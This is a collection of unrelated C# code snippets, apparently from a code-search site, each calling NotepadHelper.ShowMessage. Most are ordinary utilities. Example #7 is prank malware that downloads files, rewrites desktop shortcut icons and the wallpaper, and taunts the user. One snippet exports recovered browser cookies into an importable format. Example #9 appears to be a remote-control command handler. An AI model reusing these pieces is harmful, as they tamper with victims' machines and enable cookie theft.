Example #1
0
        public override void ExecuteCommand(CancellationToken token)
        {
            var selectedText = ShellManager.GetSelectedText();
            var sb           = new StringBuilder();
            int errorCount   = 0;

            var dataReaderCallback = new Action <SqlDataReader>((reader) =>
            {
                var base64String = reader.GetString(0);
                // correct base64 strings are of multiples of 4. This is a simple sanity check.
                if (base64String.Length % 4 == 0)
                {
                    sb.AppendLine(GZipManager.DecompressBase64EncodedString(base64String));
                }
                else
                {
                    errorCount++;
                }
            });

            QueryManager.Run(ConnectionManager.GetConnectionStringForCurrentWindow(), token, (queryManager) =>
            {
                queryManager.ExecuteQuery(selectedText, dataReaderCallback);
            });

            if (errorCount > 0)
            {
                ShellManager.ShowMessageBox("Processed results with some errors, some of the rows contain non-64base strings. The successfull results will be displayed.");
            }

            NotepadHelper.ShowInNotepad(sb.ToString());
        }
Example #2
0
        private void DuplicatesOutput(string path)
        {
            var dupDataObj = new UnityWebGroup.Services.Duplicates.QueryDuplicates();
            var byNameSize = dupDataObj.FindDuplicates(path);
            var byName     = dupDataObj.FindDuplicates(path, true, false);
            var bySize     = dupDataObj.FindDuplicates(path, false, true);

            NotepadHelper.ShowMessage(byNameSize + byName + bySize, "Duplicates Report");
            tracking.TrackPage(path, "Duplicates report Generated");
        }
Example #3
0
        private void linkBtn_Click(object sender, EventArgs e)
        {
            OnWizardFinish(new CancelEventArgs());
            ExcelContext  context = GetContext() as ExcelContext;
            StringBuilder sb      = new StringBuilder();

            foreach (var s in context.Links)
            {
                sb.Append(s.Replace("\0", ""));
                sb.AppendLine();
            }
            NotepadHelper.ShowMessage(sb.ToString(), "当前excel文档包含链接");
        }
Example #4
0
        private void CurrentDomainOnUnhandledException(object sender, UnhandledExceptionEventArgs unhandledExceptionEventArgs)
        {
            var message =
                $"Something unexpected happend in AI-TOOL. For more info read exception: {unhandledExceptionEventArgs.ExceptionObject}";
            const string title = "Unexpected error";

            try
            {
                NotepadHelper.ShowMessage(message, title);
            }
            catch (Exception)
            {
                MessageBox.Show(message, title);
            }
        }
        private void ExportCookies(List <RecoveredCookie> cookies)
        {
            var exportWindow =
                new Views.Dialogs.ExportValuesWindow(
                    new List <string>
            {
                "$Host$",
                "$Name$",
                "$Value$",
                "$Path$",
                "$ExpiresUtc$",
                "$Secure$",
                "$HttpOnly$"
            }, @"{
    ""domain"": ""$Host$"",
    ""expirationDate"": $ExpiresUtc$,
    ""hostOnly"": false,
    ""httpOnly"": $HttpOnly$,
    ""name"": ""$Name$"",
    ""path"": ""$Path$"",
    ""secure"": $Secure$,
    ""session"": false,
    ""storeId"": ""0"",
    ""value"": ""$Value$"",
    ""id"": Auto_Increment
},
")
            {
                Owner = Window.GetWindow(this)
            };

            if (exportWindow.ShowDialog() == true)
            {
                var stringBuilder = new StringBuilder();
                for (int i = 0; i < cookies.Count; i++)
                {
                    var cookie = cookies[i];
                    stringBuilder.Append(FormatString(exportWindow.ValueFormat, cookie, i));
                }

                NotepadHelper.ShowMessage(stringBuilder.ToString(),
                                          $"{cookies.Count} {Application.Current.Resources["Cookies"]}");
            }
        }
Example #6
0
 private void showDummyBinaryToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (gcn.GcnCompile(txtAsm.Text))
     {
         txtOutput.Text = "INFO: Open dummy kernel in notepad.";
         StringBuilder hex = new StringBuilder();
         int i;
         byte[] bin = gcn.env.dummyBin;
         for (i = 0; i < bin.Length - 4; i += 4)
             hex.AppendFormat("{0:x2}{1:x2}{2:x2}{3:x2}\r\n", bin[i], bin[i + 1], bin[i + 2], bin[i + 3]);
         for (; i < bin.Length; i++)
             hex.AppendFormat("{0:x2}", bin[i]);
         NotepadHelper.ShowMessage(hex.ToString());
     }
     else
     {
         MessageBox.Show("Unable to export (see output log)");
         txtOutput.Text = gcn.env.lastMessage;
     }
 }
Example #7
0
        static void Main(string[] args)
        {
            WebClient webdl = new WebClient();

            if (!System.IO.File.Exists(Path.GetTempPath() + "/ricardo_ico.ico"))
            {
                webdl.DownloadFile(ICO_LNK, Path.GetTempPath() + "/ricardo_ico.ico");
            }
            Console.WriteLine("Finished downloading Ricardo icon.");
            if (!System.IO.File.Exists(Path.GetTempPath() + "/ricardo_bg.png"))
            {
                webdl.DownloadFile(BG_LNK, Path.GetTempPath() + "/ricardo_bg.png");
            }
            Console.WriteLine("Finished downloading Ricardo background.");
            if (!System.IO.File.Exists(Path.GetTempPath() + "/ricardo_u.wav"))
            {
                webdl.DownloadFile(U_LNK, Path.GetTempPath() + "/ricardo_u.wav");
            }
            Console.WriteLine("Finished downloading U Got That.");
            Console.WriteLine("Reiconning links at desktop.");
            WshShell Shell = new WshShell();

            foreach (string lnk in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.lnk", SearchOption.AllDirectories))
            {
                WshShortcut cl = (WshShortcut)Shell.CreateShortcut(lnk);
                cl.IconLocation = Path.GetTempPath() + "/ricardo_ico.ico";
                cl.Save();
                Console.WriteLine(ConsoleColor.Green + lnk);
            }
            Console.WriteLine("Enough with lnks! Let's set wallpaper.");
            Wallpaper.GetBackgroud();
            Wallpaper.SetBackgroud(Path.GetTempPath() + "/ricardo_bg.png");
            SoundPlayer mw = new SoundPlayer(Path.GetTempPath() + "/ricardo_u.wav");

            NotepadHelper.ShowMessage("ur pc was danced till the death\nwe are now vibing at ur pc haha\nu got that", "ricard0overtaker::_overtaken");
            Console.WriteLine("Finished. Showed the notepad message.");
            mw.PlaySync();
        }
Example #8
0
 private void displayKernelsBinaryToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (gcn.GcnCompile(txtAsm.Text))
     {
         txtOutput.Text = "INFO: Open kernel in notepad";
         StringBuilder hex = new StringBuilder();
         foreach (AsmBlock blk in gcn.env.asmBlocks)
         {
             byte[] bin = blk.bin;
             hex.AppendFormat("Kernel {0}\r\n", blk.funcName);
             int i; 
             for (i = 0; i < bin.Length - 4; i += 4)
                 hex.AppendFormat("{0:x2}{1:x2}{2:x2}{3:x2}\r\n", bin[i], bin[i + 1], bin[i + 2], bin[i + 3]);
             for (; i < bin.Length; i++)
                 hex.AppendFormat("{0:x2}", bin[i]);
         }
         NotepadHelper.ShowMessage(hex.ToString());
     }
     else
     {
         MessageBox.Show("Unable to export (see output log)");
         txtOutput.Text = gcn.env.lastMessage;
     }
 }
Example #9
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((UserInteractionCommunication)parameter[0])
            {
            case UserInteractionCommunication.TextToSpeech:
                var textToSpeechInfo =
                    new Serializer(typeof(TextToSpeechPackage)).Deserialize <TextToSpeechPackage>(parameter, 1);
                using (var speaker = new SpeechSynthesizer())
                {
                    speaker.Rate   = textToSpeechInfo.Speed;
                    speaker.Volume = textToSpeechInfo.Volume;
                    speaker.SelectVoice(textToSpeechInfo.VoiceName);
                    speaker.SetOutputToDefaultAudioDevice();
                    connectionInfo.CommandResponse(this,
                                                   new[] { (byte)UserInteractionCommunication.SpeakingText });
                    speaker.Speak(textToSpeechInfo.Text);
                    connectionInfo.CommandResponse(this,
                                                   new[] { (byte)UserInteractionCommunication.SpeakingFinished });
                }
                break;

            case UserInteractionCommunication.GetWelcomePackage:
                var package = new UserInteractionWelcomePackage();
                using (var speaker = new SpeechSynthesizer())
                    package.Voices =
                        speaker.GetInstalledVoices()
                        .Select(
                            x =>
                            new SpeechVoice
                    {
                        Culture     = x.VoiceInfo.Culture.TwoLetterISOLanguageName,
                        Name        = x.VoiceInfo.Name,
                        VoiceAge    = (SpeechAge)(int)x.VoiceInfo.Age,
                        VoiceGender = (SpeechGender)(int)x.VoiceInfo.Gender
                    })
                        .ToList();

                var data = new List <byte> {
                    (byte)UserInteractionCommunication.WelcomePackage
                };
                data.AddRange(new Serializer(typeof(UserInteractionWelcomePackage)).Serialize(package));
                connectionInfo.CommandResponse(this, data.ToArray());
                break;

            case UserInteractionCommunication.OpenInEditor:
                var textLength = BitConverter.ToInt32(parameter, 1);
                NotepadHelper.ShowMessage(Encoding.UTF8.GetString(parameter, 5, textLength),
                                          Encoding.UTF8.GetString(parameter, textLength + 5, parameter.Length - (5 + textLength)));
                connectionInfo.CommandResponse(this,
                                               new[] { (byte)UserInteractionCommunication.OpenedInEditorSuccessfully });
                break;

            case UserInteractionCommunication.NotifyIconMessage:
                var timeout     = BitConverter.ToInt32(parameter, 2);
                var titleLength = BitConverter.ToInt32(parameter, 6);
                var title       = Encoding.UTF8.GetString(parameter, 10, titleLength);
                var text        = Encoding.UTF8.GetString(parameter, 10 + titleLength,
                                                          parameter.Length - (10 + titleLength));

                using (var notifyIcon = new NotifyIcon {
                    Icon = SystemIcons.Application
                })
                {
                    notifyIcon.Visible = true;
                    notifyIcon.ShowBalloonTip(timeout, title, text, (ToolTipIcon)parameter[1]);
                    connectionInfo.CommandResponse(this,
                                                   new[] { (byte)UserInteractionCommunication.NotifyIconMessageOpened });
                    Thread.Sleep(timeout);
                }
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
Example #10
0
 private void showSpecsInNotepadToolStripMenuItem_Click(object sender, EventArgs e)
 {
     NotepadHelper.ShowMessage(OpenClWithGCN.GetGPUInfo());
 }
Example #11
0
 private void OnTextDoubleClick(object sender, MouseButtonEventArgs e)
 {
     NotepadHelper.ShowMessage(txtGPX.Text, GPXFile.FileName);
 }
        public override List <ExplorerItem> GetSchemaAndBuildAssembly(IConnectionInfo cxInfo,
                                                                      AssemblyName assemblyToBuild, ref string nameSpace,
                                                                      ref string typeName)
        {
            _nameSpacesToAdd = new List <string>();

            var xInputs = cxInfo.DriverData.Element("inputDefs");

            if (xInputs == null)
            {
                return(new List <ExplorerItem>());
            }

            var jss = new JsonSerializerSettings {
                TypeNameHandling = TypeNameHandling.All
            };
            var inputDefs = JsonConvert.DeserializeObject <List <IJsonInput> >(xInputs.Value, jss).ToList();

            var ns = nameSpace;

            // generate class definitions
            var classDefinitions =
                inputDefs
                .AsParallel()
                .SelectMany(i =>
            {
                i.GenerateClasses(ns);
                return(i.GeneratedClasses);
            })
                .ToList();

            // add namespaces
            _nameSpacesToAdd.AddRange(inputDefs.SelectMany(i => i.NamespacesToAdd));
            _nameSpacesToAdd.AddRange(classDefinitions.Select(c => c.Namespace));

            // remove the error'd inputs
            var classGenErrors = inputDefs.SelectMany(i => i.Errors).ToList();

            classDefinitions =
                classDefinitions
                .Where(c => c.Success)
                .ToList();

            // resolve duplicates
            classDefinitions
            .GroupBy(c => c.ClassName)
            .Where(c => c.Count() > 1)
            .SelectMany(cs => cs.Select((c, i) => new { Class = c, Index = i + 1 }).Skip(1))
            .ToList()
            .ForEach(c => c.Class.ClassName += "_" + c.Index);

            // create code to compile
            var usings = "using System;\r\n" +
                         "using System.Collections.Generic;\r\n" +
                         "using System.IO;\r\n" +
                         "using Newtonsoft.Json;\r\n" +
                         "using System.Web;\r\n" +
                         "using JsonDataContext;\r\n";

            usings += String.Join("\r\n", classDefinitions.Select(c => String.Format("using {0};", c.Namespace)));

            var contextProperties =
                inputDefs.SelectMany(i => i.ContextProperties);

            var context =
                String.Format("namespace {1} {{\r\n\r\n public class {2} : JsonDataContextBase {{\r\n\r\n\t\t{0}\r\n\r\n}}\r\n\r\n}}",
                              String.Join("\r\n\r\n\t\t", contextProperties), nameSpace, typeName);
            var code = String.Join("\r\n", classDefinitions.Select(c => c.ClassDefinition));

            var contextWithCode = String.Join("\r\n\r\n", usings, context, code);

            var provider   = new CSharpCodeProvider();
            var parameters = new CompilerParameters
            {
                IncludeDebugInformation = true,
                OutputAssembly          = assemblyToBuild.CodeBase,
                ReferencedAssemblies    =
                {
                    typeof(JsonDataContextBase).Assembly.Location,
                    typeof(JsonConvert).Assembly.Location,

                    typeof(UriBuilder).Assembly.Location,
                    typeof(HttpUtility).Assembly.Location
                }
            };

            var result = provider.CompileAssemblyFromSource(parameters, contextWithCode);

            if (!result.Errors.HasErrors)
            {
                // Pray to the gods of UX for redemption..
                // We Can Do Better
                if (classGenErrors.Any())
                {
                    MessageBox.Show(String.Format("Couldn't process {0} inputs:\r\n{1}", classGenErrors.Count,
                                                  String.Join(Environment.NewLine, classGenErrors)));
                }

                return
                    (LinqPadSampleCode.GetSchema(result.CompiledAssembly.GetType(String.Format("{0}.{1}", nameSpace, typeName)))
                     .Concat(inputDefs.SelectMany(i => i.ExplorerItems ?? new List <ExplorerItem>()))
                     .ToList());
            }
            else
            {
                // compile failed, this is Bad
                var sb = new StringBuilder();
                sb.AppendLine("Could not generate a typed context for the given inputs. The compiler returned the following errors:\r\n");

                foreach (var err in result.Errors)
                {
                    sb.AppendFormat(" - {0}\r\n", err);
                }

                if (classGenErrors.Any())
                {
                    sb.AppendLine("\r\nThis may have been caused by the following class generation errors:\r\n");
                    sb.AppendLine(String.Join(Environment.NewLine, String.Join(Environment.NewLine, classGenErrors)));
                }

                MessageBox.Show(sb.ToString());

                NotepadHelper.ShowMessage(contextWithCode, "Generated source code");

                throw new Exception("Could not generate a typed context for the given inputs");
            }
        }